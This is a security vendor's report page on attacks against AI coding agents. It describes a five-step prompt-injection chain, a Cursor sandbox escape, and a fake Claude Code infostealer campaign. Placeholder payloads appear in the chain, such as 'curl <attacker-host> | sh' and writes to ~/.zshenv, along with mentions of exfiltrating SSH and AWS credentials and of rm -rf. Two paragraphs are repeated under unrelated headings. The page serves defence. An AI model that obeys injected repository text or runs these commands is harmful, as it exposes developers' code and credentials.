◀︎ // Home

Section 03 // Coding Agents

The Enterprise's Highest-Risk Deployment

Bottom line for leadership:

Coding agents are the highest-risk AI you run. In testing, 36% of successful attacks reached remote code execution on the developer's machine, the same machine that holds your source code and cloud keys.

Do this:
sandbox coding agents and disable auto-execution of agent-generated commands before you expand rollout.

Why coding agents are the highest-risk AI deployment

Generation 01

Autocomplete

~2021 – 2022

Suggests the next line inside the IDE. Helpful within a single line of code.

GitHub Copilot (early)

Generation 02

Assistant

~2023 – 2024

Generates functions, refactors blocks, explains code, and diagnoses bugs on request.

ChatGPT (code)GitHub CopilotCursor (early)

Generation 03 // where enterprises spend now

Agent

2024 – 2026

Reads issues, plans changes, edits files, runs commands, and ships pull requests, often with minimal human review.

CursorClaude CodeChatGPT CodexDevinReplit AgentVercel v0Snowflake Cortex Code

Generation 04 // on the horizon

Operator

2026 →

Endpoint agents for any knowledge worker with multi-step tasks. The coding-agent threat model becomes everyone's problem.

OpenClaw + forks

Attack surface & risk →

Gen 01 // Suggestions only

Gen 02 // Human in the loop

Gen 03 // Executes · reads all · on the endpoint

Gen 04 // Surface spreads workforce-wide

Generation 03 is the highest-risk AI deployment in any enterprise today: more than 1 in 3 successful attempts against coding agents end in remote code execution.

In STAR Labs testing, 36% of successful attacks on coding agents reached remote code execution, the highest rate of any agent type and orders of magnitude above traditional CVE-driven RCE. The exposure is structural: three properties make coding agents uniquely vulnerable.

Direct execution

They run shell commands, modify files, and install packages by design. The "decide, then execute" loop is the product. No agent output safely skips the execution step.

Trusted reader

They read every artifact a developer would: READMEs, comments, dependency docs, config files, shell-init scripts, bug reports. Each one is a LAVA delivery channel.

Local privilege

They live on developer workstations with SSH keys, cloud credentials, .env files, and source. A compromise reaches the developer's entire identity.

The three outcomes that define the risk

36%

Remote code execution

Attacker-controlled code runs in the agent's own runtime. The most common way a coding-agent engagement ends, and the reason this tier ranks highest.

Data exfiltration

Source and secrets leak through the agent's own tool calls. To endpoint detection it looks like an authenticated developer using a normal tool.

Sandbox escape

The agent breaks out of its sandbox to the host. Boundaries fall to dotfile poisoning, shell-parser differentials, and validator-chain gaps.

The canonical attack chain

Step 01 // Data layer

Entry

Attacker plants natural-language instructions in content the agent will read.

Vehicle

README.md · docstring · .cursorrules · MCP tool description

Break it — Treat all repo & dependency content as untrusted input.

Step 02 // Model layer

Interpretation

The agent treats the poisoned content as operator instruction, not data. This instruction-hierarchy failure is LAVA.

Payload

data parsed as instruction, no exploit code required

Break it — Runtime instruction-hierarchy enforcement. Guardrails alone aren't runtime security.

Step 03 // Tool layer

Execution

The model issues shell commands, writes files, installs packages, exactly as designed. No anomaly to detect.

Example payload

curl <attacker-host> | sh
npm install <malicious-pkg>

Break it — Disable auto-execution of agent commands; sandbox the shell.

Step 04 // Persistence

Escape

Payload writes to a shell-init file or breaks out via a sandbox-parser differential. Re-executes on every new shell.

Example payload

>> ~/.zshenv · ~/.bashrc
sandbox-parser bypass via builtins

Break it — Block writes to shell-init files; pin & sign MCP binaries.

Step 05 // Application layer

Outcome

Remote shell tunnel, exfiltrated credentials, backdoored pull request, realized on the developer's machine.

Reaches

reverse shell · stolen ~/.ssh & .env · signed-commit backdoor

Break it — Scope credentials tightly; monitor the developer identity surface.

⚠ Seen in the wild — Nomshub disclosure // Cursor sandbox escape // April 2026

A README prompt injection (1) was treated as instruction (2), ran shell commands that bypassed Cursor's sandbox parser via shell builtins (3) and wrote to ~/.zshenv (4), activating a persistent remote shell tunnel that survived restarts (5). Across the endpoints STAR Labs monitored, no endpoint-detection alerts fired.

Case study: the fake Claude Code campaign

Coding agents face a second threat beyond poisoned repositories. Attackers impersonate the tool itself to steal the credentials developers use to install and run it.

88

cloned domains

10+

hosting platforms

6

impersonated products

Paid ads

bought to rank above the real tool

Products cloned

Claude Code
JetBrains
NotebookLM
Cline
Comet
Snowflake

Hosted across

Squarespace
GitHub Pages
Cloudflare Workers & Pages
Netlify
Tencent EdgeOne

The lure // curl separator

A developer copies a command from a pixel-perfect clone of the docs. The visible curl to claude.ai is a decoy; a shell separator hides the real payload. No installer to scan, no binary to inspect.

In STAR Labs testing, 36% of successful attacks on coding agents reached remote code execution, the highest rate of any agent type and orders of magnitude above traditional CVE-driven RCE. The exposure is structural: three properties make coding agents uniquely vulnerable.

What it steals

First infostealer built to harvest AI coding-assistant credentials: Cline API keys, Continue.dev config, Snowflake SSH tokens, plus browser and crypto-wallet theft.

How it hides · ACRStealer

They read every artifact a developer would: READMEs, comments, dependency docs, config files, shell-init scripts, bug reports. Each one is a LAVA delivery channel.

C2 · unkillable

Command-and-control runs through a Binance Smart Chain smart contract. No domain to seize, no server to shut off.

Why it matters

The credentials your developers use to authenticate AI coding agents are now a primary target, ranked alongside crypto wallets and browser sessions. Treat agent API keys and session tokens like any production secret.

Other high-severity patterns

Malicious packages

Agents trust the name in the manifest. A typosquat (numpy vs numpyy) lands attacker code in the working directory once the agent reads the install instruction.

Untrusted rules files

.cursorrules and .claude/CLAUDE.md load as system-level instructions. A cloned repo can silently rewrite how the agent behaves, with no warning to the user.

Network-primitive exfiltration

With curl and wget in the tool set, a compromised agent ships .aws/credentials or .ssh/id_rsa out in one command that looks like normal dev activity.

Model-endpoint override

Env vars or config can redirect the agent's LLM calls to an attacker endpoint. Every prompt, snippet, and credential the agent reads then flows to the attacker.

RAG & codebase poisoning

Poisoned commits or comments in an indexed repo persist across users and sessions, steering future agent decisions without anyone noticing the source.

Destructive commands

Full shell and database access means rm -rf or DROP TABLE runs if the agent is persuaded to. PocketOS: a Cursor agent wiped a production database and its backup in under nine seconds. No recovery path through detection.

What defenders need to do

Break Step 1

Data entry

Treat all content the agent reads as untrusted, including internal repos. Sandbox unfamiliar repos on first clone. Block untrusted rules files.

Break Step 2

Model interpretation

Runtime detection of LAVA patterns inside the context window. A second agent watches the first agent's context for injection the model itself cannot catch.

Break Step 3

Tool execution

Allowlist permitted tools. Block network-egress tools by default. Approve risky shell commands. Sign and pin MCP server binaries.

Break Step 4

Persistence or escape

Write-protect shell-init files. Run the agent inside a workspace boundary it cannot extend. Triage sandbox-escape attempts as critical incidents.

Break Step 5

Application outcome

Require human approval for irreversible actions. Monitor egress for exfiltration. Keep off-volume backups so destruction has a recovery path.

The cross-cutting control

Least privilege. An agent granted broader access than the task needs expands the blast radius of every other failure. Minimizing permissions before deployment catches more attacks than detecting them after, and runtime is where most of these controls actually live.

Common Questions

Why are coding agents the highest-risk AI deployment?

In STAR Labs testing, 36% of successful attacks against coding agents reached remote code execution — higher than any other agent type. They execute shell commands directly, read every developer artifact (each a LAVA delivery channel), and run on endpoints holding SSH keys, cloud credentials, and source code.

How does a coding-agent attack actually work?

Most follow a five-step chain: a poisoned README or rules file enters at the data layer, the model reads it as instruction, the tool layer executes shell commands, the payload persists via shell-init files, and the application layer delivers impact — a reverse shell, stolen credentials, or a backdoored pull request.

How do you secure coding agents like Cursor, Claude Code, and Copilot?

Sandbox coding agents, disable auto-execution of agent-generated commands, treat all repo and dependency content as untrusted, block writes to shell-init files, sign and pin MCP binaries, and require human approval for irreversible actions. Runtime monitoring catches the injection the model itself cannot.

Get the Full Report

Read everything here, free. Enter your email and we'll send the full PDF, including the complete defender playbook.